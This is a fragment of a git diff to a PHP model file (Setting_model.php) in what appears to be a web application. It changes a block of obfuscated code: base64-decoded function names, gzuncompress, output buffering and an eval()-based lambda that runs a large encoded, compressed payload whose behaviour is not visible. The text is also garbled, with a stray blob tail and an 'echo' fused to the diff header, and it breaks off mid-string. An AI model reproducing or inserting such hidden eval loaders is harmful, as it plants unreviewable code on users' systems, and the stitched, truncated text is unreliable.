2fWB/p/gvZaiJ0JaK150G8cQ/LCh20Ss730dNpTk20K+S/8xHPU6ON21Ptm7KHLY7D9qq/M1PGm9z+L5Isfaqufv3rgmpGZvXR3pyn+581esXka+HnbVnmRNO4W6sAlrpyBH97eVqzs991mN7rReqqXz2yH4rvpjHD9FI8ClP9Tu2+tZV6/3bRmr8fnKteizmo/k3YRD9g7D+2oP47ov79RR78cNGo1j5HgY3/1DbchkGQ7x+e+J8AvRS3D/sy4wO4DvuRxj/GPuvrzFjvyIrF+c4WN1Su5brzfalTtlv7A/Usy9aN9vY/JnmPFM6ZvkneoJfBcI337FeppuL41H53QST+uL2vfLVtoue+9lFoP9nHunwOZeurO69/m8mazufZX8DDu3dWNdTfqrMtKUNhXnGsAOkJyiZ/qe61ZUd8YT3/MxoHWFggn3EGiSqU664aNqahLgL8nSBdPoaoLZNS7e54Br6ggTyZSMZF44Ewj6LsidDbJU42hq5midnplV7paNsk6itanpOTeMQXvW4V4/pHD2n2KBzg7wz4KdU8Ua/iTe8bQQRObH/3Lpt4Ke6NJ4Zu49GOez0CROC89neiWNoeC7vGdYI8d6eAt2+GGc+mfpl7dhi/rcvx+55458y/+TNWWxd1xTjOXyGOf/JrYX3svD4j4fgtqwmtqpd63fj8QMnmtjBBq+136NZ7jIvid9J2ohnjfUM9t2JWZRXAOdnQEDnB16+E6xRrihdjfXX58LbtOurt0zFoA2qXy8qz0aa2JrfcEjnbzcvulMyTW/7mpdBtB3cpfElQPUHeTdwoz3MOfBt6S4dLbmQqYA34ZTC88xoj067sGfKNXn82ieRootyflvxFo5W8HoVfGet/P4694hsUn5FvdRzB6pF7qc6cIraZOeDczmx/afaDy3pv4NrEeD7mvl933G4Yw/y++AvoOJ7Jec80T/nPrnF/VEMFfx6hn8c940eb9Z9n6omtysfP2Q/DsX3l4/PUKe++23T7/+9NPP/7nr77+T6zfy8x/sr//69S2P556958G/nzv8xyf8/0//nXWbzfxvP33899f576fi2v+jwGx06f/r1/8FVTOYMA=='; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/models/Setting_model.php b/donjo-app/models/Setting_model.php index ba5106926..e7bd3c3a0 100644 --- a/donjo-app/models/Setting_model.php +++ b/donjo-app/models/Setting_model.php @@ -240,7 +240,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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